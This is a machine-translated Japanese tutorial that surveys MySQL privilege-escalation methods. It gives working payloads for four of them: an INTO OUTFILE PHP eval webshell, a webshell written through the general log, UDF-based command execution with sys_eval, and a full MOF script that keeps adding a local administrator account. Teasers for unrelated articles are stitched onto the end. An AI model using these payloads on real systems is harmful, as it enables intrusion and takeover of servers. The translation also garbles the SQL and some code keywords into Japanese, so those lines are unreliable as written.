MySQL 権限昇格のさまざまな形態の概要

MySQL 権限昇格のさまざまな形態の概要

1. Webshel​​lを書く

出力ファイルにシェルを書き込む

前提条件:

1. ウェブサイトの物理的なパスを知る

2. 高い権限を持つデータベースユーザー

3. load_file() が有効になっている、つまり secure_file_priv は無制限である

4. ウェブサイトのパスに書き込み権限がある

まず、基本構文は、secure_file_privに制限がないかどうかを問い合わせます。

'%secure_file_priv%' のようなグローバル変数を表示します。 

価値例示する
NULL輸入も輸出も禁止
/varインポートとエクスポートは/varディレクトリでのみ許可されます
ヌル無制限のディレクトリ

MySQL 5.5 より前では、 secure_file_priv はデフォルトで空でした。この場合、任意の絶対パスにファイルを書き込むことができました。

MySQL 5.5 以降では、 secure_file_priv のデフォルトは NULL に設定され、その場合、ファイルを書き込むことはできません。

上記の条件がすべて満たされている場合は、次の SQL ステートメントを使用してシェルに直接書き込むことができます。

'<?php @eval($_POST[cmd]); ?>' を出力ファイル 'C:\\soft\\WWW\\empirecms\\shell.php' に選択します。 

ターゲットパスを確認し、shell.phpファイルが書き込まれていることを確認します。

上部包丁接続部

ログファイル書き込みシェル

前提条件:

1. Webフォルダの緩い権限が書き込まれる可能性がある

2. ウィンドウ

3. MySQLまたはApacheを高い権限で実行する

MySQL 5.0以降ではログファイルが作成されますが、ログのグローバル変数をgetshellに変更することで変更できます。

ログディレクトリを表示する

'general%' のような変数を表示します。 

general_log はデフォルトで無効になっています。有効にすると、ユーザーが入力したすべてのコマンドが記録され、対応するログ ファイルに保存されます。
ログ ファイルをカスタマイズして、ログ ファイルにコンテンツを書き込むと、getshell を正常に実行できます。

ログファイルの場所の変更

グローバル general_log を "ON" に設定します。
グローバル general_log_file を 'C:\\soft\\WWW\\empirecms\\log.php' に設定します。

現在のログ構成を表示する

ターゲットディレクトリを確認し、log.phpファイルを書き込みます

シェルに書き込む

'<?php @eval($_POST[cmd]); ?>' を選択します

包丁で接続する


2. UDF 権限昇格

カスタム関数は、データベース機能の拡張です。ユーザーはカスタム関数を使用して、MySQL では簡単に実装できない関数を実装できます。新しく追加された関数は、ネイティブ関数 version() を呼び出すのと同じように、SQL ステートメントで呼び出すことができます。

ダイナミック リンク ライブラリ

MySQL のバージョンが 5.1 以上の場合、カスタム関数を作成する前に、UDF ダイナミック リンク ライブラリ ファイルを MySQL インストール ディレクトリの下の lib\plugin フォルダに配置する必要があります。

では、ダイナミック リンク ライブラリ ファイルはどこにありますか?実際、私たちがよく使用するツールである sqlmap と Metasploit には、対応するシステム用のダイナミック リンク ライブラリ ファイルが付属しています。

sqlmap UDF ダイナミック リンク ライブラリ ファイルの場所

sqlmap ルートディレクトリ/data/udf/mysql

ただし、sqlmap に含まれるこれらのダイナミック リンク ライブラリは、誤って強制終了されることを防ぐためにコーディングされており、直接使用することはできません。ただし、sqlmap に付属するデコード ツール cloak.py を使用してデコードすることができます。cloak.py の場所は、sqlmap ルート ディレクトリ/extra/cloak/cloak.py です。

デコード方法は次のとおりです。

32 ビット Windows ダイナミック リンク ライブラリのデコード:

python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

他のLinuxおよびWindowsのダイナミックリンクライブラリのデコードも同様です

または、デコードせずにmetasploitに付属するダイナミックリンクライブラリを直接使用する

Metasploit UDF ダイナミック リンク ライブラリ ファイルの場所

次のタスクは、UDF ダイナミック リンク ライブラリ ファイルを MySQL プラグイン ディレクトリに配置することです。このディレクトリを見つけるにはどうすればよいでしょうか?次の SQL ステートメントを使用してクエリを実行できます。

'%plugin%' のような変数を表示する


ダイナミックリンクライブラリの書き込み

secure_file_privが無制限の場合、プラグインディレクトリに手動でファイルを書き込むことができます。

load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll') をダンプファイル 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll' に選択します。

c

カスタム関数を作成し、コマンドを呼び出す

カスタム関数の作成

CREATE FUNCTION sys_eval は STRING SONAME 'udf.dll' を返します。 

sys_evalが追加されているかどうかを確認する

次に、作成された関数を通じてシステム コマンドを実行できます。

カスタム関数の削除

関数 sys_eval を削除します。

3. MOF 権限昇格

Mof 権限昇格原則

mof 権限昇格の原理は、実は非常に単純です。c:/windows/system32/wbem/mof/ ディレクトリの nullevt.mof ファイルを使用して、特定の時間に 1 分ごとに実行し、実行用の cmd コマンドを書き込みます。

厳格な前提条件:

1. Windows 03以下

2. mysqlの起動IDには、c:/windows/system32/wbem/mofディレクトリの読み取りと書き込みの権限があります。

3. secure-file-privパラメータがnullではない

権限昇格プロセス:

MOF ファイルは 5 秒ごとに実行され、システム権限です。mysql を介して load_file を使用してファイルを /wbme/mof に書き込むと、システムはアップロードした MOF を 5 秒ごとに実行します。 MOF には vbs スクリプトがあります。この vbs スクリプトの内容を制御して、システムがコマンドを実行し、権限を昇格できるようにすることができます。

エクスプロイト コードは次のとおりです (test.mof):

#pragma namespace("\\\\.\\root\\subscription")
__EventFilter のインスタンスを $EventFilter として
{
イベント名前空間 = "Root\\Cimv2";
名前 = "filtP2";
クエリ = "Select * From __InstanceModificationEvent"
「TargetInstance は \"Win32_LocalTime\" です」
「そして TargetInstance.Second = 5」;
クエリ言語 = "WQL";
};
ActiveScriptEventConsumer のインスタンスを $Consumer として
{
名前 = "consPCSV2";
スクリプトエンジン = "JScript";
スクリプトテキスト =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")";
};
__FilterToConsumerBinding のインスタンス
{
消費者 = $Consumer;
フィルター = $EventFilter;
};

MOF ファイルの使用率:

上記のスクリプトを読み取りおよび書き込み権限のあるディレクトリにアップロードします。

ここではC:\soft\にアップロードし、SQL文を使用してファイルをc:/windows/system32/wbem/mof/にインポートします。

load_file("C:/soft/test.mof") をダンプファイル "c:/windows/system32/wbem/mof/nullevt.mof" に選択します。

権限昇格を確認します。

mof のエクスポートに成功すると、mof が直接実行され、5 秒ごとにユーザーが作成されます。

MOF権限昇格のデメリットについて

権限の昇格に成功した後、アカウントが削除されたとしても、mof は 5 秒以内に元のアカウントを再構築します。これにより、テストを終了するのに大きな問題が発生するため、注意して使用してください。では、ハッキングされたアカウントを削除するにはどうすればいいのでしょうか?

cmd で次のステートメントを実行します。

#winmgmt サービスを停止します net stop winmgmt

#リポジトリフォルダを削除します rmdir /s /q C:\Windows\system32\wbem\Repository\

# mof ファイルを手動で削除します del c:/windows/system32/wbem/mof/nullevt.mof /F /S

# 作成したユーザーを削除する net user hpdoger /delete

#サービスを再起動しますnet start winmgmt

要約する

これで、MySQL 権限昇格手法に関するこの記事は終了です。MySQL 権限昇格手法の詳細については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。

以下もご興味があるかもしれません:
  • Linux は UDF ライブラリを使用して MySQL 権限昇格を実現します
  • MySQL 権限昇格方法
  • MySQL の名の下に権限を昇格する

<<:  モバイル適応型ウェブページ効果は、小さな表示ページの問題を解決します

>>:  div を下から上にスライドさせる CSS3 の例

推薦する

Vue el-date-picker 動的制限時間範囲ケースの詳細な説明

2つの状況がある1. 開始時間と終了時間が同じボックス内にあります(今月のみ限定) 2. 開始時間と...

MySQL 5.7.21 winx64 のインストールと設定方法のグラフィックチュートリアル

この記事では、MySQL 5.7.21のインストールに関する注意事項をまとめ、皆さんと共有します。 ...

ネイティブJSが様々なスポーツの均一な動きを実現

この記事では、ネイティブ JS で実装された均一なモーションを紹介します。その効果は次のとおりです。...

Nginx でバージョン番号と Web ページのキャッシュ時間を非表示にする方法

Nginx の最適化 - バージョン番号と Web ページのキャッシュ時間を非表示にするバージョン番...

Linux オペレーティング システムの概要と紹介

目次1. オペレーティングシステムとは何か2. Linuxの起源3. Linuxの基本機能4. Li...

MySQL テーブルパーティションの使用法と基本原理の詳細な説明

目次パーティションテーブルとはパーティションテーブルの適用シナリオパーティションテーブルの制限パーテ...

MySQL データベースのインストールと Navicat for MySQL の使用に関するチュートリアル

MySQL は、スウェーデンの会社 MySQL AB によって開発され、現在は Oracle が所有...

MySQL 8.0 ウィンドウ関数の紹介と概要

序文MySQL 8.0 より前は、Oracle、SQL SERVER、PostgreSQL などの他...

CenOS6.7 mysql 8.0.22 のインストールと設定方法のグラフィックチュートリアル

CenOS6.7 は MySQL8.0.22 (推奨コレクション) をインストールします1. MyS...

MySQLでデータベースのインストールパスを表示する方法

mysql コマンドを使用して、mysql のインストール パスを表示できます。 # 次の 2 つの...

完璧なアロエベラジェルを選ぶには?完璧なアロエベラジェルの本物と偽物の見分け方

最新のパーフェクト アロエ ベラ ジェルのパッケージ ボックスには、赤いフォントで完璧な英語の文字が...

IE で ClearType をオンにした後の透明フォントの問題の解決方法

IE で ClearType をオンにした後に発生する透明フォントの問題を解決するには、透明要素に背...

MySQL の暗黙的な型変換によって発生するインデックス障害の解決策

目次質問再生暗黙的な変換要約する参照する質問仕事中、1 つの SQL クエリ ステートメントのみを実...

バックアップ データをインポートするときに innodb_index_stats がエラーを報告する場合の主キー競合の解決方法

障害の説明percona5.6、mysqldump フルバックアップ、バックアップデータのインポート...

MySQL 8.0.11 のインストールと設定方法のグラフィックチュートリアル MySQL 8.0 の新しいパスワード認証方法

この記事では、参考までにMySQL8.0.11のインストールと設定方法、およびMySQL8.0の新し...